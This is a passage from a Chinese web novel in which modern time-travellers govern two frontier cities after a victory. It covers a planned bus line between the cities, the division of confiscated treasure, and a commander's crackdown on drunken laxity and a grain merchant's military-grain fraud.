庄静看着儿子,心里叹口气。他跟关正一样,对这些远比对书本感兴趣。这或许就是血脉带来的,一味制止不是个事儿。 她哼了一声:“你可知道,发现你不见了后,你外祖母有多着急吗?她原本就病着,差点一口气没上来!” 关景和连忙又求:“是我不好!我下次再也不敢了!外祖母……怎么样了?” 触及儿子巴巴眼神,庄静道:“没被你气死!你下次要再敢犯,我必要打断你的腿!” 关景和赶紧点头:“不会有下次了!” 虽然庄静心里的气早就消了大半,这会也所剩无几了,但还是请了家法,将关景和杖罚了一顿,严令近期不能出院子。 被打了一顿板子的关景和被人扶去了房间。 庄静记挂着外面的战事,正准备亲自过去看一看,就听到外面有人在喊:“打胜了!又打胜了!北凉人被全歼了!” 她连忙出去,叫喊的正是庄府的一个小厮,庄静跟着他的后面来到了主院。周氏听到了动静也出来了。 那小厮激动不已,回话有些颠三倒四,但大胜的消息确实真的。 原来,不止袁大人回来了,他还设了巧计,将这次来袭的北凉人包了饺子,一个都没放过,全部歼灭了。 如今晋州城门已经打开,打扫战场的民兵已经出城了,城外的晋州军也马上就要进城了,大家都准备去欢迎。 周氏激动的连声说好。庄静露出了笑容,走过去说:“嫂嫂,我们也去看看吧!” 周氏又连声说好,回房间把这个消息告诉庄老夫人,庄老夫人也露出笑容:“袁大人他们这一趟着实辛苦,你们是应该去迎一迎。” 庄静想着郴州到晋州的距离,过去有马,快马加鞭,也得两三天,如今有车,是能省下不少时间,但数百里回援,仍然是极其艰难的一件事情。晋州军到达的时候,天还没亮。夜路,可不是那么好走的。 周氏听了庄老夫人的话,也缓缓点了点头。想起这段时间她的那些猜测,更觉得羞愧。 两人一起起身,来到街上。街上已经是人山人海,似乎整个晋州城的人都出来了。 即便是有下人们的维护,周氏和庄静也没能到前面去,只看到了缓缓开过去的大车,大车后面乘坐的士兵们正挥着手。 当一辆深绿色车顶缓缓过来时,人群中喧闹起来。 “袁大人过来了!” “袁大人!” 周氏也跟着激动起来,但是她踮起了脚,也只看到了越野车的车顶。 各种车和将士们都过去了,人群依旧意犹未尽,他们说起了这次战事,原来袁大人等人在来晋州之前就打了一仗,把围着郴州的北凉大军全灭了。 庄静听着,也油然升起了敬佩。 返回关府后,周氏和庄静把街上的见闻告诉了庄老夫人。 庄老夫人的精神也好了许多,听完后感慨:“袁大人确实善战善谋!此一战之后,北凉对晋州和郴州必不敢轻举妄动了!” 庄静默默点了点头。 她虽然没上过战场,但是耳闻目睹了许多,也觉得袁子虚属实是个奇才,不仅善谋善战,他拿出的那些东西更是神奇。 北凉自从南下,鲜少有败绩。却在晋州一再受挫,不仅没能拿下晋州,反而丢了郴州。如今更是连续吃败,近万精锐全部丧命。 哪怕号称十万铁骑,北凉这一次也得狠狠疼一回了,对晋州和郴州得掂量着来了。 想必北凉的那位南贤王这次一定记住了袁博文这个名字。 第104章 第104章 美人 袁博文在晋州呆了一天后, 返回了郴州。谢云溪见到他时,已经是晚上了。 “淼淼睡了吗?” 谢云溪看了看时间:“你觉得呢?” 袁博文懊恼笑了笑:“是我回来晚了!” 谢云溪推了他一把:“吃过了吗?快去洗手!” 袁博文洗漱一番后,整个人都放松下来了:“还是家里好啊!” 谢云溪笑着说:“你现在在郴州可是如日中天, 要叫城里的人知道他们的袁大人私底下是这个样子, 一定会惊掉下巴!” 袁博文也笑了笑。 他也没想到在晋州被围观了一次, 回到郴州又被热烈欢迎了一次。 “你这次回晋州, 见过庄静了吗?” 袁博文点头:“庄老夫人前几天病了一次,不过我回去的时候, 她已经大好了。” “什么病?不要紧吧?”谢云溪连忙问。 “我觉得像是感冒,年纪大了,身体不如年轻人,一次感冒发烧, 就躺了好几天。” 谢云溪对庄老夫人的印象很好:“不一定是感冒吧?庄老夫人的年纪也没多大。” 袁博文想了想,点头。 庄老夫人的年纪在这里的人看来是不年轻了, 但在现代也就刚刚退休而已,比他们夫妇的实际年纪大不了几岁。 “这次的伤亡情况怎么样?” 袁博文脸上的笑不见了,这次连续在郴州和晋州各打了一场,虽然在他的计划之中, 但是也出现了数百人的伤亡。 阵亡士兵的名单统计出来后,他已经让张时文和庄炜去了解这些人的家庭情况了,想必要不了多久,信息就会出来。 “等这些人的信息统计出来后,他们当中如果有家庭困难的, 我想给他们安排些事做。” 阵亡士兵的抚恤一直都有, 但袁博文觉得太低,不过这事以前轮不到他说话,他便没管, 只是轮到自己手下的兵时,他格外照顾了些,不好在物资上特殊,便对他们的家里给予一定的帮衬。 这些兵大多正值壮年,是家里的顶梁柱,一旦人没了,他们当中有些家庭就会陷入困境。如果这些家庭的其他成员有了一份收入,情况就会好很多。 现在谢记的几个铺子里就有不少伙计是大刀营和新兵营的家属。 “好!”谢云溪点头,“我正想在郴州这边也开粮行和当铺呢。这里的市场比晋州大多了。军需粮食的售卖不能一直下去,现在应该可以停了。梧桐巷那边的几间铺子刚好能够用上。” 袁博文想了想:“还有何家矿山那边!以前的工人不知道何家从哪儿招的。如果咱们要跟上面合作,这些人就不能用了。” 不知根底的人,他不敢用。 不管是否跟上面合作,他都打算把现代的那些采矿机械弄过来,快点挖了快点了,早早把金子弄到手了,免得将来后悔。 现代化机械,那就更不能让不知根底的人接触了。晋州的人就不一样,一起经历了这么多,他更相信他们。如果将来形势不好,这些人愿意继续跟着他,他就把人带走。不愿意的,他就多给点钱财。 谢云溪也觉得可行:“如果真招他们来做事,你想过怎么安置吗?郴州跟晋州可离得有点远,他们愿不愿意过来?” 袁博文想了想:“有地方安置!我前段时间让江虎把郴州城里的空宅和无故被霸占的房宅统计了出来,原本想着把这些房子推向市场,现在刚好可以挑几个地方出来做员工宿舍!” 谢云溪笑了。 员工宿舍?用在这里,也算应景。 “我倒是觉得你可以在郴州和晋州之间开通一趟班车,方便两个城市的民众来往。” 袁博文愣住了:“班车?” 谢云溪点头。 袁博文眼睛亮了:“好!这个主意好!一时半会北凉人应该不会来了,军中的车闲着也是闲着,开通一趟班车后,就能连通晋州和郴州了。晋州的物资匮乏,但一些基本生活物资不缺,价格也不贵。” “郴州是北地第一重城,虽然被北凉人占了几个月,但是一应商品俱全,唯独价格奇高,尤其基本生活物资,价高的离谱。两边要是连通起来,刚好可以互补!” “以前没有车,晋州到郴州至少三四天,现在有了车,也就两三个小时的事!来回一趟,……五六个小时!班车完全可以一天一趟!” 谢云溪也眼睛发亮:“前些时候晋州民众种了蔬菜,有的吃不完,刚好能拿到郴州来卖!你不知道,现在郴州的蔬菜有多贵!” “咱们不是要郴州开粮行吗?也可以像在晋州那边一样,也在粮行里面售卖蔬菜水果!郴州的有钱人可比晋州多多了!” 袁博文点头。两人越说越高兴。 “我明天就跟张时文说这件事情!” “对了,车票怎么定价?”袁博文又问。 谢云溪笑了:“这个问题,你应该问张时文!他对民生比你我都清楚。” “嗯!”袁博文赞同。 张时文确实是搞管理的一把好手。认真负责,心细谨慎。 “开通班车之后,不仅能连通晋州和郴州,也能给军中挣点福利。赚到的钱,还能填补军需物资缺口。” 谢云溪笑着。现在晋州和郴州在他们手上,需要操心的何止是军需缺口?不过,到底有哪些地方要钱?以及要多少钱?只能是到那一步了才知道。 “何家矿山那边,你回来后,去看过了吗?” 袁博文摇头。战虽然暂时打完了,但他的事情还是有一堆,不仅何家矿山那边,停靠在海边的游轮,他也没去看过。说好了,要学习开船的,现在相关资料他都没有开始看。 “游轮的事情不急,我前几天经常在那边,虽然没怎么动手,但是也有些感觉了。反正现在北凉人一时半会来不了,咱们慢慢摸索,这个有时间。” “你们放在后院的东西什么时候处理?咱们不能一直住在府衙吧?” 袁博文想了想,府衙这里自然是不能继续住下去。如今,他把府衙事务全教给张时文在管。以前是图方便和安全,现在得把地方还给张时文了,后院的那些东西就不能一直放那儿了。 “要不,都给淼淼吧?” 谢云溪吓了一跳:“都给了淼淼?行吗?江虎那边不会有想法吧?张时文知道这件事情吗?” 袁博文笑了:“你放心!江虎他不敢有想法!那些东西,他抬过来,就是给我的。” “至于张时文,他压根就不知道这件事情。” 谢云溪还是有顾虑:“这么做,行不行?” “怎么不行了?收缴的这些东西,原本知道的人就不多,怎么处理我说算!当初关正也是这么干的!我比他好多了!我收缴的这些都是北凉人的!” 谢云溪想到了他们现在在晋州的府邸,是关正收缴的原晋州连大人的宅子,后来把这栋宅院给了他们。 两下对比,袁博文的做法确实显得比关正要好。 一个是自己这一方的官,临阵脱逃被没收了宅院。另一个敌方的将,他们积累的财富的来自各种搜刮! 这两方辛苦积累了这么多财富,一句话就被关正和袁博文给收缴了。 在乱世里,手上有兵的人确实够横。 “你别担心了!都给淼淼!谁知道咱们还能在这里呆多久?淼淼这段时间,又是买船,又是买医药军械,这些难道不要钱吗?到时候,有人问起,我就说这批东西都用在了军需粮草上面!” 袁博文这么一说,谢云溪也觉得女儿袁淼这段时间付出的太多了,必须要弥补。 “吴锦丰和吴万乾那边,会听你的吗?” “你说他们父子?放心!吴锦丰那老姜早就知道我有古怪了,他不仅一直没说,还多次帮我掩护。这次我把吴万乾带过来,他应该跟吴万乾透露过,对咱们拿出来的东西,吴万乾从始至终一句疑问都没有。” 谢云溪看着袁博文:“你把吴万乾带在身边,就为了让吴锦丰……闭嘴?” 袁博文笑了。他刚开始是有这个想法,后来试探几次,吴锦丰和吴万乾根本就没有想要要挟他的想法,只是一心做事,还多次主动帮他掩护和暗中提醒,他就打消了这个想法。 这对父子管钱管物是一把好手,他已经决定,如果以后要走,就把他们以及吴家的人一并全部都带走。 谢云溪:“你要真这么决定了,那我明天就跟淼淼说了啊!” 袁博文点头。 谢云溪的心情一下子大好了。 “要不,你明天早点回来,我们一起跟淼淼说?她一直在担心你。” “明天……不行啊,我已经答应了张时文,郴州商会准备明天宴请军中大小将领,我得去!” “这次为了犒劳我们,郴州商会拿出了白银两万两,军需物资等共计约三万多两……” 谢云溪愣住:“郴州商会……这么有钱吗?” 她还是第一听说郴州商会。在晋州可没有听说有这个组织,当然,也有可能是刚打起来的时候晋州商会就散了。 袁博文点头。他听到消息的时候,跟谢云溪的反应一样,没想到北地都打成这样了,郴州都换了主,郴州商会居然还没有散。 不愧是北地第一重城。 “那你是得去。咱们在郴州还不知道要呆多久,这些人还是要认识认识。” 关键是,她马上要准备在郴州开粮行和当铺了,商会这样的组织,免不了要打交道。 袁博文摇头,笑着说:“这些吃吃喝喝的事情,我最烦参加了。” 谢云溪笑着说:“不喜欢,也要去。自打北凉人南下,军中的将士有多久没有放松了?你不喜欢这样的活动,他们未必。你要是不去,估计他们也去不了。” “你忘记了吗?你以前当老师的时候,每逢毕业季,那些参加毕业活动的学生有多高兴!他们跟这些将士有区别吗?” 袁博文叹了口气。 就是因为这个,他才答应的。 晋州被围了几个月,虽然不缺吃不缺喝,但是每个人的神经都是紧绷着的。后来虽然他带着军中的人离开晋州,但是一直在打,没有人敢放松。现在总算是告了一段落,确实该让军中的人放松放松了。 第二天,谢云溪就把后院收缴的东西清理了一番。她大着肚子,不敢大搬大挪,就把边上的几个箱子里面的东西分了一下类。 晚上的时候,谢云溪告诉袁淼,他们准备把后院的东西全部传给她。 袁淼愣了一下,连忙说:“不用了!我现在不缺钱!地下室也没有地方放!” 这些天她是用了不少钱,但是在此之前,她光卖黄金和白银就进账了十几亿。买船是最大的一笔开销了,但也只用三亿多。 地下室里面除了先前抬进去的几个箱子,后来又陆续接收不少当铺收到货,里面的空间已经显得逼仄了。 而府衙那边后院里的东西有三四十箱,无论如何都放不下了。 “你不是新买了一栋别墅吗?那边地方大,就放到那边去!” 袁淼笑着说:“妈,我的人都没有过去住,就把东西搬过去,你觉得行吗?” 谢云溪噎了一下。 后院里的东西都是贵重物品,确实不能随便放。 袁淼的新楼虽然买了,但是刚装修好,目前正在散味中,至少得一两个月后,才能入住。 “要不,先给你传一部分吧?我们现在住的府衙得让出来了,那些东西不能放到后院了。” 袁淼也知道晋州军连续大胜的事情,听谢云溪分析,一时半会北凉人不会再来,他们继续住在府衙确实不太合适了。 她想了想:“等我明天把地下室收拾收拾后再说。” “好!你挪点位置出来,先给你传一部分。剩下的等你搬到新房子后,我再给你!” “你们把东西给我,真的合适吗?”袁淼又问。 她可没有忘记,父母后院的那些东西都是收缴的,金银已经大半都给了她。 “放心吧!”谢云溪回答的斩钉截铁。 袁淼将信将疑:“爸爸呢?” 她想听一听袁博文的意见。 “你爸今天晚上去参加宴席了。” 谢云溪把郴州商会宴请军中大小将领的事情告诉了袁淼。 袁淼点了点头。 人情世故处处都有。 谢云溪又拿过来一个匣子:“这里面都是珍珠,是我今天在后院的那些箱子里清理出来的,有一百多颗。你让珠宝店的师傅看看,是串成项链,还是做成其他。” 袁淼还在迟疑,匣子就已经传了过来。 她打开一看,愣住了。里面的珍珠洁白莹润,比一般珍珠大多了,光鸽蛋大小的都有不少。 这样的珍珠,一颗都极其少见,价值至少上十万,而匣子里面竟然有一百多颗! “是不是很漂亮?里面还有两串项链,也在匣子里面,上面的珍珠大小几乎一样!你找一找。” 袁淼扒了扒匣子里面的珍珠,果然发现了两串项链,上面的珍珠饱满莹润,细腻如奶油,几乎一样大小。 “这串项链至少价值上百万!”袁淼看着手中的项链,凭借经验估价。 谢云溪笑了:“那你就放到博云珠宝去售卖!后院的那些箱子里应该还有。” 就在谢云溪和袁淼谈论珠宝的时候,袁博文在众人的拥簇下走进了宴席,被引到最上面的主位上坐下。 各营主将则被安排在下方的一边落座,另一边则是张时文和郴州商会的人以及城内几家声望颇高的家主们。 这些人袁博文大多数都不认识,但他见张时文与他们相谈甚欢,便也笑着脸应对。 所有的人都落座后,坐在张时文下手的郴州商会会长拍了拍手,两列女子端着佳肴款款上来了。 袁博文第一次参加这样活动,见下方的人一副自在随意的样子,料到他们应该见惯了,他也渐渐放松了下来。 几旬酒后,乐曲响起了,宴席中间来了一群妙龄女子,翩翩舞蹈起来。 袁博文对这些不感兴趣,自顾喝酒吃东西,察觉有人看过来,他抬起眼,对上后,微微笑了笑。 那人连忙举起了酒盏。 袁博文与他隔空喝了一盏后,低声问身后的谷雨:“右手第四位的人,你知道是谁吗?” 谷雨看了一眼:“老爷,他就是何记粮行的东家何有为!” 袁博文顿了顿。 何有为!真是久闻大名! 他轻轻笑了笑。 前些时候,原本他打算让何记粮行关门,结果忙起来,就忘记了这茬事。 看样子,何有为在郴州商会的地位不低。都坐在第四的位置上了。 一曲舞跳完,舞池中的少女们低着头站在了两边。郴州商会的会长抬了抬下巴,少女们便来到各营主将们的身边。 袁博文旁边也来了两个。他皱了皱眉,不过,看到左手边各营主将们兴致正好,到嘴边的话,打了个转后,又咽了下去。 不过是多了两个倒酒的人而已,这样的场合,还是别少了大家的兴。 又几番推杯换盏后,袁博文有些上头了,忍了一会儿,瞧着约莫差不多了,他起了身。 回到营帐里后,袁博文闻了闻身上的酒气。 “谷雨!” 唤了几声,也没人应。想着谢云溪不喜欢闻酒味,袁博文又挣扎着起来,来到里间更换衣裳。 正迷迷糊糊解着衣裳,他突然闻到了一股幽香,下一刻手就摸到了一只柔若无骨的小手。 袁博文心里一惊,醉意瞬间没了,一把紧抓了那只小手,一个肩摔,将人啪一声摔到了地上。 那人痛呼一声,还没起身,就被袁博文按住了。 他已经拔出身上的枪,抵上了来人的额头,眯着眼睛冷森问道:“你是谁?” 那是个年轻女子,不知道是摔痛了,还是害怕。细细颤抖着,竟然嘤嘤哭了起来:“大人饶命!奴家是连连!” 奴家?连连? 袁博文皱了皱眉。 他没听说过连连这个名字。 “你来这里干什么?若有一句不实……” 袁博文动了动扳机,威胁的意味十分明显。 不料那女子竟然一把抱住袁博文的手,怯生生说:“大人!求您怜惜!连连只是想伺候大人!” 感觉到覆盖在手背上的柔滑,以及若有似无的磨蹭,袁博文一下子明白了,他立刻起身,放弃了压制,但手中的枪依旧指着女子。 “谁让你进来的?你到底想干什么?” 这时,袁博文才发现,眼前的女子十分年轻,瞧着约莫十六七岁的样子,模样出众,衣着大胆,小半肩膀露了出来。 少女窸窸窣窣起身,眉眼含羞带怯,轻轻唤了一声:“大人,是连连倾慕大人,自己要来伺候……” 她说着,咬了咬唇,偷偷看了袁博文一眼。 袁博文又皱了皱眉。 这话他自然不信,眼前的少女不过十六七岁,能知道什么?不过是被人调教过,自己也身不由己。 他晃了晃手中的枪:“出去!” “大人!”少女抬起头来,望着袁博文,怯生生的眸子里包着一汪水,似乎下一刻就要掉下来。 袁博文的脸色转瞬变沉,厉声喝道:“滚出去!” 少女吓了一跳,怯生生应了一声是,再不敢多说一句,拢了拢衣裳,缩着身子出去了。 袁博文放下了枪,说不出心里什么感觉。 这才到哪儿,就有人给他送女人了。但凡他见识少些,一定把持不住。 “谷雨!” 袁博文又大喊了一声,依旧没人回应。他大步出了营帐。 营地里灯火阑珊,歌舞与欢笑即便是隔了这么远的距离,也传了过来。 以往密集的巡逻也看不到了。倒是酒气冲天,有他身上的,也有其他地方传过来的。 袁博文心里发寒,拿出了对讲机。 一会后,谷雨跌跌撞撞跑了过来:“老爷!出了什么事儿?” 袁博文转头看他,十三四岁的少年脸上有两团可疑红晕。 袁博文皱着眉头:“你喝了酒?” 谷雨愣了愣,他刚才站在袁博文身后,接到了同样是亲随的小六子等人眼色,瞧着自家老爷身边已经有了伺候的人,便悄悄出去了。 这天大伙都很高兴,郴州商会的人不仅宴请军中大小将领,也拉了不少酒菜到营地这边犒劳军中将士。 小六子等人也摆了一桌。他便跟着他们一起尝了尝酒味。 谷雨想着自己喝的那一点,点了点头,又赶紧摇头。 袁博文哼了一声,脸色铁青。 刚才他的动静总算是引起了注意,但过来的人并不多,其中就有负责巡逻的,不过这些人完全没有以前的警惕,有个别甚至衣衫不整。 “通知各营主将过来!一柱香内,我要见到他们所有的人!” 谷雨已经被袁博文的脸色吓到了,连忙应下。 袁博文则返回营帐中,酒意还没有散尽,想着刚才看到的一幕,他觉得头疼。 他不知道是不是郴州商会有问题,亦或者这些只是常见现象。但他确定,这不是个好现象,自古倒在酒色财气上的人不知道有多少。他们也就暂时打赢了一两场战,这些就来了,若是不刹住,后面都不用打了,自己就会乱。 一会后,各营主将们陆续过来了,大家都来得匆忙,有的满脸酒气,有的衣裳不整。 袁博文看了看时间,一柱香的时间要到了,还有骑射营主将黄峥没来了。他正要唤人去找,黄峥匆匆进来了,脸上酒气没散,裤腰带都没系好。 袁博文的脸色有些冷。 营帐中的主将们从进来时的左顾右盼,四处询问,到现在已经噤若寒蝉了。黄峥一样不明究竟,只觉得这天的袁博文有些吓人,他舔着脸笑了笑。 “一柱香,我我到的刚刚好!” 袁淼没说话,只缓缓倒了一杯凉茶递向黄峥。 黄峥愣了愣后才接,又顿了顿后,一口喝完了。 袁淼凉凉说:“今日是个好日子,我把大家叫来,着实有些扫兴!你们心里都不大高兴吧?” 主将们相互看了看,一时没人吭声。黄峥性急,打破了沉默。 “大人召我们过来,自然是紧急事情……” “黄将军说错了,这次并不是紧急事情。” 袁博文喝了一口茶醒了醒酒。 “不知道你们过来,一路上遇到了几波巡逻?” 主将们对了下眼神。他们过来的匆忙,这些小事都没留意。 袁博文像是没看到底下人的小动作,亦自说:“我从宴席上出来,到这里,一共只遇到了两波巡逻。以往这个距离,至少能遇到七八波巡逻。你们知道,这代表了什么吗?” 主将们的脸色一下子变了。 军机重地,从来都是重重守卫。以往有七八波巡逻的情况骤降至两三波,若不是刻意安排,那就是有人渎职! 这时候若是突然来了敌袭,后果不堪设想。 “咱们只是打了两场胜仗,北地的北凉人也都没走,郴州的周边也还在北凉治下,咱们的军营重地就松懈成这个样子了!大家觉得合适吗?” 主将们低下了头。 今日的宴请昨天就传遍了,主将们有郴州商会的人和郴州几位望族的家主作陪,其他将士这天也有好菜好酒招待,一些是军中厨房安排的,一些是郴州城内酒楼送过来的。 好不容易放松一回,大家有些忘形了。 “即便是这郴州城内,也未必没有敌人!” 袁博文冷冽说道,缓缓看过众人。 “你看看你们,都成什么样子了?几杯浑酒下肚,便忘了一切!” 袁博文想着自己刚才经历的一幕。有人给他送女人,都到了他的营帐中。这些主将们只怕跟他的待遇差不多,只看宴席上的安排就知道,既然有陪酒的,若是哪位主将一时想要个把女人,郴州商会的人还能不答应吗? 说不定,巴不得呢! 这些商会的人能从北凉治下熬过来,除了会做人做事,多半与北凉人有些不清不楚。 现在,换他们晋州来的人做主这郴州了。这些八面玲珑的人心里怎么可能不虚? 若是能攀上一位主将,他们一定乐意之极。 何有为之流的人,有几个干净的? “不知道你们还记不记得,晋州以前有个何记粮行?” 黄峥:“何家粮行?知道啊!他们的东家不就是何有为吗?刚才宴席上,我就看到他了!” 江虎也跟着点了点头,他对郴州的情况比军中其他主将更清楚:“何记在郴州也有两家粮行!他家……有什么问题吗?” 袁博文说:“郴州沦陷之前,守备大人和我就发现了一起倒卖军需粮食的事情,这件事情就出现在何家粮行!” 主将们面面相觑,脸色都变了。 战时倒卖军需粮草!这是大忌!不管是偷盗,还是偷梁换柱,当兵的都容忍不了。 他们在前线拼命,有人居然把注意打到自己的口粮上!这谁能忍? 第105章 第105章 班车 “何记粮行倒卖军需粮草?大人!这事当真?”黄峥问道。 “你们不信, 可以去问吴锦丰吴大人,当时支援郴州抗击北凉,晋州带过去的粮草就是吴大人亲自挑出来的, 后来这些粮食就出现在何记粮行里售卖!” “咱们的军需粮食与外面的不同, 但凡吃过的都知道。” 主将们纷纷点头。 他们也早就发现晋州的军需粮食与外面粮行的粮食不同, 不仅颗粒饱满, 口感也更加干净。 这件事情现在在郴州也不是秘密了。 “何记粮行的粮食来自郴州军中?他们是怎么做到?” “大人,您和守备大人既然发现了, 怎地还让他们把粮行开到现在?” 长枪营的副将霍小北这天也喝了不少酒,但他年轻,只在脸上显露了出来。袁博文提起军/需粮食倒卖的事情时,他的酒意就没了。现在听其他各营主将询问, 他皱了皱眉:“这件事情,我有印象。” 主将们听霍小北这么一说, 都看了过来。 霍小北皱着眉头:“那时我在第一批增援郴州的人员中。我们到了之后,就被编入耿老将军的步兵营,带过来的军/需粮草都被要求上缴,说是要统一调配, 但是后来我们食用的粟米和黍米并不是带过去的粮食。” “再后来,夜袭北凉失败,步兵营的人死伤过半,我也受了伤。养伤期间谷雨他们找到了我,说是要调查军需粮草倒卖的事情。我们一起从郴州军的军需所查到了当时郴州的主薄谢宝通谢大人那里, 但后来郴州沦陷, 这件事情就不了了之了。” 江虎点了点头:“我记得何家有个女儿嫁给谢大人的二儿子!” 黄峥一听,事情连起来了,气得大骂:“郴州的军需粮食定然是谢宝通倒出去给何记粮行售卖的!监守自盗!竟然连军需粮食的主意都敢打!这些人都该死!” 其他主将们也都一脸愤慨。 谢宝通是郴州主薄, 原本就管着郴州钱粮事宜,他想要动军需粮草,简直易如反掌。 袁博文说:“何家的那个女儿不是嫁给了谢宝通的二儿子,只是他房里一个妾室。” “当时我和守备大人查清楚缘由后,不好擅作主张,便给夏大将军去了一封信,将这件事情的来龙去脉告诉了夏大将军。不料却被夏大将军训斥了一番,说我们不该扰乱军心,诬陷他人。” “到底是郴州的事情,守备大人虽然有气,但也只能忍了下来。再后来就是郴州沦陷,何记粮行关门离开了晋州。” “我还以为他们去了别处,没想到在郴州又遇到了。” 黄峥急切说:“大人,这何记粮行竟然连军需粮草的主意都敢打!这次一定不能放过他们!” “对!” 袁博文听到底下主将们的附和,又说:“我此番提起何记粮行,并不是为了翻旧账。只是想让你们记住,咱们永远不能放松警惕,如何有为之流,绝不会只有一个二个,军需粮草,他们能动一次,就能动两次!” “咱们走到如今不容易,绝不能栽到了这些事情上。不能和人喝次酒,就将其当成兄弟了!” 话到最后,袁博文的语气渐渐严厉。 主将们都低下了头。今日宴席上推杯换盏,许多人都忘形了。 “今日的事情就当是个警惕吧,若再有下次,如今日这般松懈,就别怪我不顾情面了!” 营帐中鸦雀无声,主将们跟袁博文共事了许久,还是第一次见到他这般言语,心里都是一凛。 袁博文挥了挥手:“都散了吧,时候也不早了。” 主将们拱了拱手,陆续出去了,袁博文又说:“黄将军留下!” 黄峥脚下踉跄了一下,止住了步伐,看到其他人都走了,他的腿脚忍不住有些发虚了。回头看了看安静坐着袁博文,心里莫名有些惧怕。 一时间自己都觉得奇怪起来,明明是同一个人,以前关系也十分和睦,怎地今日突然就怕起来了? 袁博文看着黄峥。黄峥连忙挤了个笑出来:“大人!” 袁博文轻叹了口气:“你从哪里过来的?” 黄峥一时噎住了,原本的一张黑脸也泛出了白,左顾右盼:“我我,从,从……” 瞟了一眼上方的人,见他目光凉凉,到了嘴巴的谎话突然就说出口了,垂头丧气低下了头。 袁博文验证了自己猜测,心里气不打一处来,重重放下茶盏。 “色字头上一把刀!你不知道吗?你今日舒坦了,明日有人找你办事,你是答应还是不答应?” 黄峥闷不吭声。 他确实是从女人身上爬起来的。 宴席上歌舞升平,他喝过了头,旁边倒酒的小娘子着实可人,他摸了几下手,等到袁博文离席后,他便把人拉了出去,正要成事,就听到召唤,赶紧过来了。 袁博文指着黄峥,冷森说:“你别以为倒卖军需粮草的事情只能发生谢宝通身上!” 黄峥咽了咽口水,背心的冷汗都出来了。 他突然记起江虎刚才的话:何家的一个女儿嫁给了谢宝通的二儿子!不对!不是嫁娶,而是妾! “大人,我,我记住了!下次绝不会再有了!” 袁博文哼了一声:“你最好记住!黄夫人为你生儿育女,付出良多!我这次回晋州,她还向我打听你的消息!你瞧瞧你做的这些事儿!” 黄峥低着头,脸上也流露出些许愧色。 袁博文觉得头疼。 酒色贿赂这类事情,自古都没断过,他不知道今日之后,军中的这些人会不会长记性。但眼前的这个着实碍眼,他也就离开了那么一会儿,他就中了招。 也不知道事成了没有?若是事成了,要叫黄夫人知道,后面还不知道掀起怎样的风波!这些事情也不知道是谁安排的?目的是什么? 送上门的女人哪里是那么好睡的? 袁博文揉着太阳穴,挥了挥手让黄峥赶紧走。 黄峥三步两回头,到了营帐门口,见袁博文还在揉头,他出口说道:“大人,我下次一定不犯了!” 黄峥走了,袁博文也没觉得好受一些。 谷雨小心翼翼看着,瞧见茶盏空了,连忙悄悄又续了一杯。 袁博文闭着眼睛说:“今日有人进了我的营帐,你去查一查,这件事情是谁做的?” 谷雨心里一凛,沉声应下了。 袁博文等到身上的酒气散得差不多了后,换了身衣裳后回去了。 第二天,张时文找了过来。 “我听说昨日晚上大人发火了?是怎么回事?” 袁博文知道,昨天晚上自己闹得动静有点大,今天军中的气氛都有些紧张了。 他把自己宴席过后发现营地松懈松散的情况告诉了张时文。 当然,自己营帐中出现女人的事情则没提。谷雨尚在调查中,他不想打草惊蛇。 张时文听完后点了点头:“此事确实要警惕!不能再犯!北凉虽然暂时败了,但绝不会就此罢休,卷土重来,只是时间早晚的问题。” “还有那何记粮行,我原本一直想敲打敲打,上次米粮带头涨价,以及鼓动他人在府衙聚众抗议,这些事情都有他们的份。没想到他们不仅做了这些事情,竟然还做过倒卖军需粮草的大事!” 话到后面,张时文的脸色也变得阴沉狠厉。 他想到郴州的沦陷,这里面说不定就跟军需粮草倒卖有些关联! 为了一己之私,导致北地第一重城被北凉铁蹄践踏,多少人因此丧命!这样的人杀一百次都不为过! “大人准备处理?”张时文问袁博文。 袁博文反问:“扰乱市场,倒卖军需粮草,与北凉勾结,按律该如何处理?” 张时文明白了:“大人放心,府衙一定会将这件事情彻查清楚,绝不徇私枉法!让作恶者逍遥法外!” 袁博文心里很满意。跟张时文这样的人说话,感觉就是不一样。往往他提个头,就能得到满意的结果。 他点头:“张大人辛苦了!” “这是府衙份内的事!”张时文说完,露出笑容,凑过来说:“大人,你昨日所说的那个班车……我与府衙其他大人商量,都觉得可行!这是我们连夜商量的章程,您看看!” 袁博文愣了愣才接。 府衙的办事效果又让他吃惊了一次。 他接过张时文递过来的文书,边看边点头。 不愧是衙门办事的老油条们。他昨天也就提了一嘴,今天就看到了长途汽车运营的细则。 零零总总十余条。 既对乘坐的人员做出了明确的规定,还对乘坐人员的行动进行了详细的规范。 张时文端详着袁博文的脸色,脸上的笑容更胜了。 昨天,他提袁博文提起时,刚开始是懵了,后来才明白,所谓的班车是什么? 这是大大的好事啊! 这班车一开通,晋州和郴州不就连同一气吗?路上区区一个多时辰,这叫什么距离? 从郴州头走到郴州尾,都不止一个多时辰! 回去后,他跟府衙的其他大人们一说,大家都惊到了。这样的主意,也只有袁大人能想得出来!高!实在是高! 连夜,大家就把这件事情的章程拟出来了。 “……我跟几位大人商量,这班车的票价不宜过高,也不宜过低,一趟就定二十五文钱,您看是否合适?” 袁博文点头,这里的一文钱差不多相当现代的两三元钱左右,二十五文钱,也就五六十元钱左右。 五六十元钱的车票,跑一百多公里,跟现代的长途汽车票价差不多。 “还有乘坐时间,卯时天刚亮,秋冬露水深重,晨雾还没尽散,辰时则一切初定,早食也用过了,此时出发,若路上顺利,到达时约莫巳时。” “返回则定申时五刻,到达刚好天黑。您看,这个时间可好?” 袁博文又点了点头。 早点七点出发,上午十一点左右能到,下午四点返回,回来差不多天黑了。 张时文笑得更和煦了:“那这班车的运营,您看什么时候可以开始?” 袁博文想了想。整出班车刚开始是为了方便采矿的员工来回,但现在矿区那边,他还没有去看,长途汽车运营的细则就出来了。 “过几天吧!车和司机,我得先安排好。” 张时文连忙点头:“是是是,大人辛苦了!” 袁博文急着想去矿区那边看看,拍了拍张时文的肩膀:“何家那边的事情不宜拖延过久,时间久了,易生意外。眼下的郴州跟晋州不一样。这件事情最好在班车开通之前办妥。” 处理好了何家的事情,矿区那边,他也好开工挖金子。 张时文的脸色变得凝重:“大人放心,府衙一定会尽快将这些事情调查清楚,对违法乱纪者,严惩不贷!” 袁博文满意的点了点头,正准备要走,又被张时文拉住了 张时文脸上的笑堆出来了:“大人,您安置在城墙那边的发电机还有吗?” 袁博文愣了愣。 前些天为了跟北凉干仗方便,他拿出了发电机和探照灯。现在城外的北凉人没了,发电机和探照灯暂时还没撤,每天晚上到那里溜达的人不少。 电这种东西肯定不能普及,谁知道会不会有人在这个的基础上折腾出其他名堂来。 袁博文摇头。 